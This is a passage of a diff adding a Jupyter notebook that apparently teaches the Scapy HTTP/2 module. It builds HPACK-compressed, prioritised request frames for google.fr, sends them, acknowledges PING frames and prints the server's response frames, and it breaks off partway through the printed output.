+      ":path /favicon.ico\n",
+      ":authority www.google.fr\n",
+      ":scheme https\n",
+      "accept-encoding: gzip, deflate\n",
+      "accept-language: fr-FR\n",
+      "accept: image/x-icon; image/vnd.microsoft.icon\n",
+      "user-agent: Scapy HTTP/2 Module\n",
+      "''',\n",
+      "    stream_id=3,\n",
+      "    max_frm_sz=srv_max_frm_sz,\n",
+      "    max_hdr_lst_sz=srv_max_hdr_tbl_sz,\n",
+      "    is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie'],\n",
+      "    should_index=lambda x: x in [\n",
+      "            'x-requested-with', \n",
+      "            'user-agent', \n",
+      "            'accept-language',\n",
+      "            ':authority',\n",
+      "            'accept',\n",
+      "        ]\n",
+      ")\n",
+      "qry_icon.show()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HTTP/2 Frame Sequence ]### \n",
+        "  \\frames    \\\n",
+        "   |###[ HTTP/2 Frame ]### \n",
+        "   |  len       = None\n",
+        "   |  type      = HdrsFrm\n",
+        "   |  flags     = set(['End Stream (ES)', 'End Headers (EH)'])\n",
+        "   |  reserved  = 0\n",
+        "   |  stream_id = 3\n",
+        "   |###[ HTTP/2 Headers Frame ]### \n",
+        "   |     \\hdrs      \\\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 2\n",
+        "   |      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
+        "   |      |  magic     = 0\n",
+        "   |      |  never_index= Don't Index\n",
+        "   |      |  index     = 4\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = None\n",
+        "   |      |   |  len       = None\n",
+        "   |      |   |  data      = 'HPackZString(/favicon.ico)'\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 65\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 7\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 16\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 64\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 19\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = None\n",
+        "   |      |   |  len       = None\n",
+        "   |      |   |  data      = 'HPackZString(image/x-icon; image/vnd.microsoft.icon)'\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 63\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 110
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "You may note that several of the headers that are in common between the two queries (the one for the frontpage and the one for the /favicon.ico) are compressed in the second query. They are only refered to by an index number of the dynamic HPack Header Table.\n",
+      "We now alter the favicon query to be dependent of the query for the form."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "real_qry_icon = h2.H2Frame(\n",
+      "    stream_id=qry_icon.frames[0][h2.H2Frame].stream_id,\n",
+      "    flags={'+'}.union(qry_icon.frames[0][h2.H2Frame].flags),\n",
+      ") / h2.H2PriorityHeadersFrame(\n",
+      "    hdrs=qry_icon.frames[0][h2.H2HeadersFrame].hdrs,\n",
+      "    stream_dependency=1,\n",
+      "    weight=32,\n",
+      "    exclusive=0\n",
+      ")\n",
+      "real_qry_icon.show()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = None\n",
+        "  type      = HdrsFrm\n",
+        "  flags     = set(['End Stream (ES)', 'End Headers (EH)', 'Priority (+)'])\n",
+        "  reserved  = 0\n",
+        "  stream_id = 3\n",
+        "###[ HTTP/2 Headers Frame with Priority ]### \n",
+        "     exclusive = 0\n",
+        "     stream_dependency= 1\n",
+        "     weight    = 32\n",
+        "     \\hdrs      \\\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 2\n",
+        "      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
+        "      |  magic     = 0\n",
+        "      |  never_index= Don't Index\n",
+        "      |  index     = 4\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = None\n",
+        "      |   |  len       = None\n",
+        "      |   |  data      = 'HPackZString(/favicon.ico)'\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 65\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 7\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 16\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 64\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 19\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = None\n",
+        "      |   |  len       = None\n",
+        "      |   |  data      = 'HPackZString(image/x-icon; image/vnd.microsoft.icon)'\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 63\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 111
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "We can now send both queries to the server."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "h2seq = h2.H2Seq()\n",
+      "h2seq.frames = [\n",
+      "    qry_frontpage.frames[0],\n",
+      "    real_qry_icon\n",
+      "]\n",
+      "srv_global_window -= len(str(h2seq))\n",
+      "assert(srv_global_window >= 0)\n",
+      "ss.send(h2seq)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 112,
+       "text": [
+        "117"
+       ]
+      }
+     ],
+     "prompt_number": 112
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Let's read the answers!"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "# The stream variable will contain all read frames; we will read on until stream 1 and stream 3 are closed by the server.\n",
+      "stream = h2.H2Seq()\n",
+      "# Number of streams closed by the server\n",
+      "closed_stream = 0\n",
+      "\n",
+      "new_frame = None\n",
+      "while True:\n",
+      "    if not isinstance(new_frame, type(None)):\n",
+      "        if new_frame.stream_id in [1, 3]:\n",
+      "            stream.frames.append(new_frame)\n",
+      "            if 'ES' in new_frame.flags:\n",
+      "                closed_stream += 1\n",
+      "        # If we read a PING frame, we acknowledge it by sending the same frame back, with the ACK flag set.\n",
+      "        elif new_frame.stream_id == 0 and new_frame.type == h2.H2PingFrame.type_id:\n",
+      "            new_flags = new_frame.getfieldval('flags')\n",
+      "            new_flags.add('A')\n",
+      "            new_frame.flags = new_flags\n",
+      "            ss.send(new_frame)\n",
+      "            \n",
+      "        # If two streams were closed, we don't need to perform the next operations\n",
+      "        if closed_stream >= 2:\n",
+      "            break\n",
+      "    try:\n",
+      "        new_frame = ss.recv()\n",
+      "        new_frame.show()\n",
+      "    except:\n",
+      "        import time\n",
+      "        time.sleep(1)\n",
+      "        new_frame = None\n",
+      "\n",
+      "stream.show()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0xe1\n",
+        "  type      = HdrsFrm\n",
+        "  flags     = set(['End Headers (EH)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 3L\n",
+        "###[ HTTP/2 Headers Frame ]### \n",
+        "     \\hdrs      \\\n",
+        "      |###[ HPack Dynamic Size Update ]### \n",
+        "      |  magic     = 1\n",
+        "      |  max_size  = 12288\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 8\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 59\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 11\n",
+        "      |   |  data      = 'HPackZString(Accept-Encoding)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 26\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 3\n",
+        "      |   |  data      = 'HPackZString(gzip)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 31\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 9\n",
+        "      |   |  data      = 'HPackZString(image/x-icon)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 33\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 22\n",
+        "      |   |  data      = 'HPackZString(Thu, 08 Dec 2016 06:23:59 GMT)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 36\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 22\n",
+        "      |   |  data      = 'HPackZString(Fri, 16 Dec 2016 06:23:59 GMT)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 44\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 22\n",
+        "      |   |  data      = 'HPackZString(Thu, 08 Dec 2016 01:00:57 GMT)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 0\n",
+        "      |  \\hdr_name  \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 16\n",
+        "      |   |  data      = 'HPackZString(x-content-type-options)'\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 5\n",
+        "      |   |  data      = 'HPackZString(nosniff)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 54\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 3\n",
+        "      |   |  data      = 'HPackZString(sffe)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 28\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 3\n",
+        "      |   |  data      = 'HPackZString(1494)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 0\n",
+        "      |  \\hdr_name  \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 12\n",
+        "      |   |  data      = 'HPackZString(x-xss-protection)'\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 10\n",
+        "      |   |  data      = 'HPackZString(1; mode=block)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 24\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 16\n",
+        "      |   |  data      = 'HPackZString(public, max-age=691200)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 21\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 5\n",
+        "      |   |  data      = 'HPackZString(472252)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 0\n",
+        "      |  \\hdr_name  \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 5\n",
+        "      |   |  data      = 'HPackZString(alt-svc)'\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 28\n",
+        "      |   |  data      = 'HPackZString(quic=\":443\"; ma=2592000; v=\"35,34\")'\n",
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x5d6\n",
+        "  type      = DataFrm\n",
+        "  flags     = set(['End Stream (ES)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 3L\n",
+        "###[ HTTP/2 Data Frame ]### \n",
+        "     data      = '\\x1f\\x8b\\x08\\x00\\x00\\tn\\x88\\x02\\xff\\xbcX{PTU\\x18?\\xa6\\x8d\\x89\\xa5\\xf4G\\xff5\\x13\\xf60\\xffh\\xcc1\\x11\\xc7L\\xb3\\x07>\\xffp\\x94\\x10L\\x1b\\xd3L+kF\\'\\xb5\\x19\\xc7Rg\\xc2\\xb4@KtD _\\x91\\x80\\x8e\\x82\\x8a\\xa8\\x83\\nhI\\xa9\\xa8\\x08B\\x98\\xaf|\\xdf]`\\xc1}\\xb0{\\xf7;\\xbf\\xe6\\\\\\xeee\\xee\\xde\\xbd\\x97\\xdd\\xb5\\xb53\\xf3\\rg\\xcf\\xfd\\xbe\\xefw\\xcew\\xbe\\xd7\\x81\\xb1n\\xec1\\x16\\x1b+\\xfe\\xc6\\xb1y=\\x18\\xeb\\xcf\\x18\\x8b\\x8b\\xeb\\xf8\\x9d\\x1f\\xcbXF\\x0f\\xc6\\x060\\xc6b\\xc5:\\xebXWF\\x0f\\x16r\\x00\\x18DD\\x1b\\x89\\xa8\\x81\\x88\\xbc*\\xd5\\x13Q&\\xe7|\\xa0\\x95\\x1c\\xe7\\xbc\\x17\\x11e!\\xc4 \\xa2\\r\\x00\\x9e0\\x91\\xad\\x10\\xdf}\\xe4\\xc5\\x81\\xbfvb\\xf1\\x91\\x19H\\xd95\\x1c)\\x85\\xc3\\xb1\\xf0P*v\\xd7\\xe5\\xa2]vk:\\x8e\\xebuh\\xb8v\\xd7},(M\\xc1\\x94\\xfc!\\xa6\\x94\\xb17\\x05\\xdcq\\xafs\\x1f\\xday\\x15\\\\\\xbf\\x17\\x0bJ\\xa7*|\\x02s\\xfb\\xf9\\x1fQ{\\xff\\x0c.I\\xd5(\\xac\\xcdF\\xd6\\x8e\\xf1p\\xa4\\x8d\\x86;w.\\xc0\\xb9\\xa2C\\xd8\\x83\\x886\\x89\\xf9\\xeaKg1\\xa1p,\\x92\\x0b\\x87\\xa1N\\xaa\\x0e>\\xf7\\x9d\\x068W%\\xc2\\xf9\\xed[\\xf07\\x9c\\xd0\\xf6\\x90ID\\x8db\\xfe\\xca\\xc9V<]\\xd6\\x84\\xf4\\x0bE\\x96\\xb6k\\xdf\\xb3R\\x91o/I\\xd7\\xe4\\xc5\\xbd\\xf8\\xc4<\\xe6\\xa8\\x8c\\xc7\\xcbd\\x94\\xd8x\\x80\\x8c\\xe07\\x92\\xe7\\xd7E\\x9a\\xbcW\\x93\\xef}\\xacC\\xfe\\xa0=\\x0c\\xf9\\xc2\\xa5z\\xf9\\xcbb\\x1e\\xff\\x87\\x1f1\\xfb\\xbc\\xf8\\xec\\x177\\xc2\\x1d\\xaa\\x8f)w\\xf7\\xd39\\x19\\t\\x93\\xed\\x18\\x96(\\xe1|\\xad\\xcf\\x84\\xd7T~#\\xe7|\\xb0\\x98{\\xbd\\x1c\\xc9\\xb3\\x9a\\x10\\xff\\xb6\\x84\\xd7\\xc7\\xd9\\xb0!\\xc7\\x89s5>\\\\\\xa8\\xf5ac\\xae\\x13\\x93?h\\xc2\\x8d\\x9b~\\xa3\\x8aA\\xaa\\xff\\xe4\\x8a\\x1f\\xf7$B\\xca\\xecfE\\x87\\x19\\xcd_\\xec\\xd0co\\xd2\\xc5L\\x0c\\x11\\x9d\\xd0\\xf6\\x91\\xb7\\xdb\\x8d\\x19\\x9f4c\\xc4x\\x1b\\x86\\x8f\\x910\\xed\\xe3fl/p)\\xdfT\\xd9\\n\\xe1\\xf3\\x86\\xb8\\x8b\\xd1\\xf6\\x11\\xc2fYFYC,\\r\\x16<\\xe2^\\xc4\\xdd\\xaa\\xd4\\xa8\\xfa\\xe9 #\\xbf\\xa3/c\\xe5\\xdd\\x19[\\xde\\xad\\x83B\\r\\x8dO\\xc8\\x08\\xd9\\x01j\\x8eyS\\x9fgb\\xd9C\\x0f\\xce\\xf9S\\x9c\\xf3\\xa9\\xea\\x19\\xaa\\x88H\\xd2\\xe5!I]\\x136H\\x06\\xf0$\\x8b\\xd2\\xe0\\x9c\\xbfHD9D\\xe4\\x8a\\xc0\\x7f]D\\xb4\\x99s\\xfe\\xc2\\x7f\\xc0\\x15\\xb9o\\r\\x11\\xc9x\\xc8\\xa1\\xde\\xf1*c^\\r\\xf3\\xcc5\\x88\\xd2 \\xa2\\xf3\\x00\\x9e\\x0f\\x07[\\xad3\\x92\\x99\\x1e\\xc9y\\x07{\\xeb\\xb7ae\\xf9|\\xcc)\\x1e\\xa7\\xe4\\xd4\\xe4\\x82\\x04\\xcc.J\\xc4\\xb2\\xa3s\\x90W\\xb3\\x01W\\x9b\\x1b\\xac\\xf6p\\x8fs\\xfej\\x18\\xe7\\x0e\\xc2\\xb6\\xb9\\xeeb\\xed\\xefK\\x91T0\\xd4\\xb2\\x86\\xe8\\xe9\\xebcsq\\xa5\\xb9\\xdet\\x0fVvP\\xe3\\xfc\\xa2Q\\xe6\\xe4\\x8d\\xc3\\x98\\xbe{dX\\xb8z\\x12v)\\xae\\xc9\\xb6\\xba\\x8b \\x7f \\xa2\\xef\\x8d\\xbc\\xc5\\r;\"\\xc6\\xd5hf^<\\xfe\\xcc\\x18\\to\\xc5\\x16\\xb3=\\xac2\\xd8\\xfd%\\xa3\\x9fW^/\\xb5\\xd4\\xfd\\xc5\\xc1$l\\xa9NGic!\\x0e]\\xde\\xa5\\xdc\\xfb\\xd2\\xb2\\x8f\\x90\\x94\\x1f\\xaf|_\\xb25\\x017W\\x8f\\xee\\xacKZ]\\xd5\\xc7\\x85>6\\x8d\\xf9U\\xf8\\xd9\\xfb&6\\x9f\\xbbo\"\\xce\\xdc\\xae\\xb4\\xf4\\xf3\\xeb-\\x8d\\xc8/\\x9e\\x8dVC]t\\xadK\\x02\\xf7\\xba\\x8d{\\xd8\\xac\\x9e\\xbd\\x0f\\x11\\x05|\\\\yjm\\x10\\xf6\\xa2\\xc3\\xd3\\xd1\\xe6u\\x84\\x0e6\\xbf\\x0f\\x9e\\x9dK\\x82j\\xb3\\xaf\\xaa (G\\x89<\\xc99O\\xd5\\xaf_ss\\xf4*s\\xe3\\xb5\\xa2\\xb4N\\xecYE\\x89h\\xf1\\xd8\\xc3\\x8ew\\xeey\\xa0\\x9cY\\x8f\\xef\\xce\\x9a\\x19\\xcc\\xc7y\\xb2\\xc8\\xad\\xfa\\xb5\\xef\\xae\\x91\\xd2o\\x08\\xeaW\\xb2\\x1f\\x93\\xf2G\\xa0\\xecJQ\\xc49\\xc7w*?\\xc8\\x06\\xdcq7\\xa8f\\x12\\xd1i\\xfd\\xda\\x98j\\x7f\\'\\xbe\\xa0\\x81\\x95\\xb7 \\x93/\\xf2\\x9c\\']\\r\\xc2\\x97\\xeb+\\x8c\\xf8\\xa2f\\x05\\x18\\xf6\\xd9J9\\x00?\\xa5\\xc6\\xdf%\\x8eY\\x1ffE\\xbe\\xaaB#\\xbe\\xa4\\xf5y\\xda\\xe8y4\\x10\\x7f\\xd9\\xdf\\x145|c.\\xd0\\xf7\\x99\\xff\\x07\\xbe\\xef\\xb7<3\\xfc\\xa6\\xae\\xec\\x9fz1z\\xf6\\x97\\xeb\\x8e\\x9b\\xd9?\\xc0\\xff\\x12\\xcf\\x06\\xfa_\\xbf=^\\xc82\\x1e\\xc9P\\xfd/ \\xfe\\xd2t\\xf1\\xf7\\xccz\\x17\\x86\\x8c\\xb3a\\xff!\\xcf\\xa3\\xc2\\x17\\xfd\\xda4\\xfd\\xda\\x157G\\xcf\\xc32\\xe2\\x96\\xb4v\\xf6\\xd7c\\xdf\\xb3\\xa3\\xd9AQ\\xc7\\x17\\xfd$\\x80\\xbeD\\x14p\\xc0\\xcf\\xd79\\x83z\\xfc\\x0f\\xe7\\xb7\\xa0\\xad\\x8d\\x87\\xd4\\xe9t\\xf1\\xb0{D\\xd1\\xd3\\xaa\\xf5\\' 0n\\xdd\\xf1\\xe3\\x8d\\xf1\\xb6\\xa0=L\\x9a\\xde\\x84\\xaa3^K\\x9d\\xa7N{11\\xc5\\x8e\\x1f2\\x1f\\x84\\x83\\x9f\\xa3\\xab\\xbf/\\x13Q\\x80\\xa3\\x97\\x1c\\xf1X\\xbewR\\xe74c}\\xb6\\x13{\\x0ex\\xb0\\xb7\\xc4\\x83\\xccl\\xa7\\xf2\\x96\\xd1\\xf3\\xa4e\\xb4i\\xcfa3lY\\xf4Z\\x86\\xfe#\\xdd\\xc8\\xb7u\\xa7\\xcbr\\x0f\\xe1\\xd0\\x8a5mV\\xf8kLz\\xbf\\xdeDTg\\xe4\\x15v\\x189\\xc1\\x161\\xf6\\xa8\\x896\\x1c9\\xden\\x86]c\\xf5N\\xe3\\x9c\\xf7\\'\"\\x9bQ\\xe6\\xf6]?\\xbeZ\\xd1\\x8a\\xa1\\xef\\x84\\xc6\\x15<\\x8b\\xbfiUdL\\xb0%\\xa3\\xdd-\\xde\\x8963\\xbb\\t\\xbf\\xfc9\\xcf\\x85O\\xbft(1)\\xde\\xe4\\t\\xefJH\\x9cb\\xc7\\xbc\\x85-\\xd8\\xbc\\xcd\\x85\\x7fn\\xf9\\xadl.\\x99\\xbd3\\xbb\\xb0C]\\x14\\xf3LM\\xa8s[\\xf4\\xe3\\xe9\\xc6\\xb8\\x88\\x10W\\x16}uW\\xef\\xf20l!bs\\x8b1G\\x85\\xc0u\\x8b\\x9eV\\xf4\\xd5Q|\\x07\\xf7\\x11\\xb9Z}\\x0b\\x9f\\x16uS\\xf7\\x7f\\x04\\xbb\\xba\\x96#\\xfaI\\xc1\\x1b\\xb6\\x9d\\xcb\\xbb\\x03\\x8c\\xc1\\xcf\\xd8\\xa8v\\xc6\\x9es0\\xd6\\xf7:c=\\xcb\\x19\\xeb.h9c\\xdd\\x04E\\xba_MN\\xd3#t\\n\\xdd\\x02C`\\tL\\x81\\xfdo\\x00\\x00\\x00\\xff\\xff\\xc6\\xf9Yo6\\x15\\x00\\x00'\n"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x8\n",
+        "  type      = PingFrm\n",
+        "  flags     = set([])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 0L\n",
+        "###[ HTTP/2 Ping Frame ]### \n",
+        "     opaque    = 0\n",
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x167\n",
+        "  type      = HdrsFrm\n",
+        "  flags     = set(['End Headers (EH)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 1L\n",
+        "###[ HTTP/2 Headers Frame ]### \n",
+        "     \\hdrs      \\\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 8\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 33\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 22\n",
+        "      |   |  data      = 'HPackZString(Tue, 13 Dec 2016 17:34:51 GMT)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 36\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Literal\n",
+        "      |   |  len       = 2\n",
+        "      |   |  data      = 'HPackLiteralString(-1)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 24\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 13\n",
+        "      |   |  data      = 'HPackZString(private, max-age=0)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 31\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 22\n",
+        "      |   |  data      = 'HPackZString(text/html; charset=ISO-8859-1)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 0\n",
+        "      |  \\hdr_name  \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Literal\n",
+        "      |   |  len       = 3\n",
+        "      |   |  data      = 'HPackLiteralString(p3p)'\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 81\n",
+        "      |   |  data      = 'HPackZString(CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\")'\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 78\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 54\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Literal\n",
+        "      |   |  len       = 3\n",
+        "      |   |  data      = 'HPackLiteralString(gws)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 28\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 3\n",
+        "      |   |  data      = 'HPackZString(4420)'\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 72\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 0\n",
+        "      |  \\hdr_name  \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 11\n",
+        "      |   |  data      = 'HPackZString(x-frame-options)'\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 9\n",
+        "      |   |  data      = 'HPackZString(SAMEORIGIN)'\n",
+        "      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 55\n",
+        "      |  \\hdr_value \\\n",
+        "      |   |###[ HPack Header String ]### \n",
+        "      |   |  type      = Compressed\n",
+        "      |   |  len       = 165\n",
+        "      |   |  data      = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n",
+        "      |###[ HPack Indexed Header Field ]### \n",
+        "      |  magic     = 1\n",
+        "      |  index     = 71\n",
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x122b\n",
+        "  type      = DataFrm\n",
+        "  flags     = set(['End Stream (ES)', 'Padded (P)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 1L\n",
+        "###[ HTTP/2 Padded Data Frame ]### \n",
+        "     padlen    = 230\n",
